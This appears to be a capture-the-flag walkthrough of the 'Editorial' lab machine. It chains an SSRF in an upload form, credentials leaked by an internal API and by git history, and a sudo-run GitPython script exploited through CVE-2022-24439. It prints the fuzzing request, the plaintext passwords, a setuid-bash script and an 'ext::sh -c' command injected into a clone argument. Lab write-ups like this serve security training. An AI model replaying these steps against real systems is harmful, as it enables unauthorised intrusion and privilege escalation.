This is an Ubuntu 22.04 machine owned by an editorial. It runs a web application where users can upload and publish their books, but the upload form is vulnerable to SSRF. Exploiting it we can disclose credentials for a low-priv SSH shell. Regarding escalation, we find credentials for a lateral movement inside the commit history of an internal Git repository. Then, we abuse sudo configuration and a vulnerable GitPython library (CVE-2022-24439) to get a root shell.
Just send a request to http://127.0.0.1 and capture it with Burpsuite, save the request and add the FUZZ tag to the ports field. The resulting file should be something similar to this:
POST /upload-cover HTTP/1.1Host:editorial.htbUser-Agent:Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0Accept:*/*Accept-Language:en-US,en;q=0.5Accept-Encoding:gzip, deflate, brContent-Type:multipart/form-data; boundary=---------------------------23421975678841718971224437855Content-Length:361Origin:http://editorial.htbConnection:keep-aliveReferer:http://editorial.htb/upload-----------------------------23421975678841718971224437855Content-Disposition:form-data; name="bookurl"http://127.0.0.1:FUZZ-----------------------------23421975678841718971224437855Content-Disposition:form-data; name="bookfile"; filename=""Content-Type:application/octet-stream-----------------------------23421975678841718971224437855--
Notice there is a response with different size (Size: 51). If you use the SSRF to send a request to http://127.0.0.1:5000 and inspect the response, you'll find a link to an upload path.
And inspecting the traffic with Burpsuite, we see another response just after this one that contains information about several endpoints. In particular, we will check this one /api/latest/metadata/messages/authors
Let's query this endpoint using again the SSRF.
Credentials are disclosed in the response.
Let's use them to open an SSH session on the host.
Which can be used to retrieve the user flag.
ROOT
Start from the SSH session as user dev and take the opportunity to enumerate the user and the system.
> whoami &&iddevuid=1001(dev) gid=1001(dev) groups=1001(dev)> uname -a &&cat/etc/os-releaseLinuxeditorial5.15.0-112-generic#122-Ubuntu SMP Thu May 23 07:48:21 UTC 2024 x86_64 x86_64 x86_64 GNU/LinuxPRETTY_NAME="Ubuntu 22.04.4 LTS"NAME="Ubuntu"VERSION_ID="22.04"VERSION="22.04.4 LTS (Jammy Jellyfish)"VERSION_CODENAME=jammyID=ubuntuID_LIKE=debianHOME_URL="https://www.ubuntu.com/"SUPPORT_URL="https://help.ubuntu.com/"BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"UBUNTU_CODENAME=jammy
Then check the logs and enumerate the commits with:
gitloggitshow<commitID>
Credentials for user prod are disclosed enumerating the commit b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
> git show b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae commit b73481bb823d2dfb49c44f4c1e6a7e11912ed8aeAuthor: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>Date: Sun Apr 30 20:55:08 2023 -0500 change(api): downgrading prod to dev * To use development environment.diff --git a/app_api/app.py b/app_api/app.pyindex 61b786f..3373b14 100644--- a/app_api/app.py+++ b/app_api/app.py@@ -64,7 +64,7 @@ def index(): @app.route(api_route + '/authors/message', methods=['GET']) def api_mail_new_authors(): return jsonify({- 'template_mail_message': "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:Username: ***prod\nPassword: 080217_Producti0n_2023!@***\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, " + api_editorial_name + " Team."
+ 'template_mail_message': "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, " + api_editorial_name + " Team."
}) # TODO: replace dev credentials when checks pass # -------------------------------
Move laterally to user prod
If we enumerate sudo capabilities for user prod, we see there is a Python script we can run as root.
> sudo -l[sudo] password for prod:Sorry,tryagain.[sudo] password for prod:MatchingDefaultsentriesforprodoneditorial:env_reset,mail_badpass,secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,use_ptyUserprodmayrunthefollowingcommandsoneditorial: (root) /usr/bin/python3/opt/internal_apps/clone_changes/clone_prod_change.py*
Let's inspect the source code of this Python script.
Let's create a malicious exploit in bash scripting
> vim /var/tmp/exploit.sh#!/bin/bashcp/bin/bash/var/tmp/bash&&chmod4755/var/tmp/bash
And grant it execution permission.
> chmod +x /var/tmp/exploit.sh
Now run the exploit taking advantage of the sudo configuration.
> sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py "ext::sh -c '/var/tmp/exploit.sh'"Traceback (most recentcalllast):File"/opt/internal_apps/clone_changes/clone_prod_change.py",line12,in<module>r.clone_from(url_to_clone,'new_changes',multi_options=["-c protocol.ext.allow=always"])File"/usr/local/lib/python3.10/dist-packages/git/repo/base.py",line1275,inclone_fromreturncls._clone(git,url,to_path,GitCmdObjectDB,progress,multi_options,**kwargs)File"/usr/local/lib/python3.10/dist-packages/git/repo/base.py",line1194,in_clonefinalize_process(proc,stderr=stderr)File"/usr/local/lib/python3.10/dist-packages/git/util.py",line419,infinalize_processproc.wait(**kwargs)File"/usr/local/lib/python3.10/dist-packages/git/cmd.py",line559,inwaitraiseGitCommandError(remove_password_if_present(self.args),status,errstr)git.exc.GitCommandError:Cmd('git') faileddueto:exitcode(128)cmdline:gitclone-v-cprotocol.ext.allow=alwaysext::sh-c'/var/tmp/exploit.sh'new_changesstderr:'Cloning into 'new_changes'...fatal: Could not read from remote repository.Please make sure you have the correct access rightsand the repository exists.
Although some errors are reported, the exploit has been successfully executed, so the only thing left is just open a root shell.